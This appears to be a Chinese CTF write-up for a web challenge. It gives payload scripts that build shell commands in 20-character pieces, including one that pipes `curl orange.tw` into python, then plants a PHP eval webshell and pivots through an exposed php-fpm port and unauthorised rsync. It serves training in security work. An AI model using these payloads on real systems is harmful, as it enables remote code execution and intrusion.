ctf473831530_2018_web_virink_web

ctf473831530_2018_web_virink_web

开局给了提示和源码:

Hint
1. flag is not here (this server)
2. python3
3. 脚本要骚才能 getflag
不准暴力!不准暴力!!不准暴力!!!
Source
<?php
    $sandbox = '/www/sandbox/' . md5('orange' . $_SERVER['REMOTE_ADDR']);
    mkdir($sandbox);
    chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 20) {
        exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        exec('/bin/rm -rf ' . $sandbox);
    }
    echo "<br /> IP : {\$_SERVER['REMOTE_ADDR']}";
?>

根据提示我们要拿到shell然后进行内网渗透

首先是20字符写webshell

通过 https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge

我们可以知道通过\\的分隔符写shell

import requests
from time import sleep
from urllib import quote

payload = [
    # generate `ls -t>g` file
    '>ls\\', 
    'ls>_', 
    '>\ \\', 
    '>-t\\', 
    '>\>g', 
    'ls>>_', 

    # generate `curl orange.tw|python`
    '>on', 
    '>th\\', 
    '>py\\', 
    '>\|\\', 
    '>tw\\',
    '>e.\\', 
    '>ng\\', 
    '>ra\\', 
    '>o\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # exec
    'sh _', 
    'sh g', 
]



r = requests.get('http://52.199.204.34/?reset=1')
for i in payload:
    assert len(i) <= 5 
    r = requests.get('http://52.199.204.34/?cmd=' + quote(i) )
    print i
    sleep(0.2)

根据他给的脚本。我们改一下写一个shell进去

import requests

url = 'http://fe36d40a-54c8-4c37-8ec0-5a480417ae27.node3.buuoj.cn/'


filename = [r'>echo\ \\', 
            r">\'\<\?php \\", 
            r'>eval\(', 
            r'>\$_POST\[c\]\)', 
            r">\;\'\>2.php"]
for i in filename:
    params = {
        'cmd': i
    }
    r = requests.get(url, params=params)
    print(i, r.status_code)

cmd = ['ls -tr>1.sh', 'sh 1.sh']
for i in cmd:
    params = {
        'cmd': i
    }
    r = requests.get(url, params=params)
    print(i, r.status_code)

然后访问/sandbox/xxxx/2.php即可访问webshell

蚁剑连接

一般buu是下一个ip是内网,通过hosts可知本机器

扫描端口发现在.11上发现开放了80,873,9000端口

根据p神的博客

9000对应php-fpm,873对应nsync

先来看一下php-fpm,php-fpm是为了fastcgi而实现的一个php解析器,而fastcgi是一种让客户端(web浏览器)与Web服务器(apache等)程序进行通信(数据传输)的协议,并且fastcgi解决了传统cgi效率低的问题,三者之间大概就是:

首先客户端向服务器发出请求,服务器接受请求,服务器中间件根据fastcgi的协议规则通过TCP传给相应的解析器php-fpm,解析器解析数据返回

如果这个9000端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。

原文链接: https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

利用exp: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

python3 fpm.py 173.211.53.11 /www/redirect.php -c \"<?php system('ls /');?>\"

查看权限发现

flag没有读取权限,使用到873端口rsync未授权访问

参考:https://www.cnblogs.com/leixiao-/p/10227086.html

发现配置文件

根据用法:rsync 127.0.0.1::src/7h1s_i5_f14g /tmp/

执行后拿到flag

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注